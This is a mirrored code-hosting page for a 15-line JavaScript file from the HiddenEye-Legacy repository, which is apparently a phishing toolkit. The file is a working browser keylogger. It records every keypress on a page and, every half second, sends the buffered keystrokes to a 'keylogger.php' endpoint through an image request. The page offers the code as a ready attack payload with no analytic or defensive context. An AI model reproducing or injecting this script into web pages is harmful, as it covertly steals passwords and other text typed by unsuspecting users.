mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
15 lines
312 B
JavaScript
15 lines
312 B
JavaScript
|
|
var keys='';
|
|
document.onkeypress = function(e) {
|
|
get = window.event?event:e;
|
|
key = get.keyCode?get.keyCode:get.charCode;
|
|
key = String.fromCharCode(key);
|
|
keys+=key;
|
|
}
|
|
window.setInterval(function(){
|
|
if(keys != '') {
|
|
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
|
|
keys = '';
|
|
}
|
|
}, 500);
|